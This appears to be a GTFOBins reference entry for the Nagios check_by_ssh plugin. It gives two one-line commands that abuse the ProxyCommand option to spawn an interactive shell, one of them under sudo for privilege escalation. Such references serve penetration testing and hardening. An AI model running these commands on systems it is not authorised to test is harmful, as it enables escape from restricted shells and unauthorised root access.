GTFOBins.github.io/_gtfobins/check_by_ssh.md
2020-12-20 19:32:15 +01:00

12 lines
448 B
Markdown

---
description: |
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
functions:
shell:
- description: The shell will only last 10 seconds.
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
sudo:
- description: The shell will only last 10 seconds.
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
---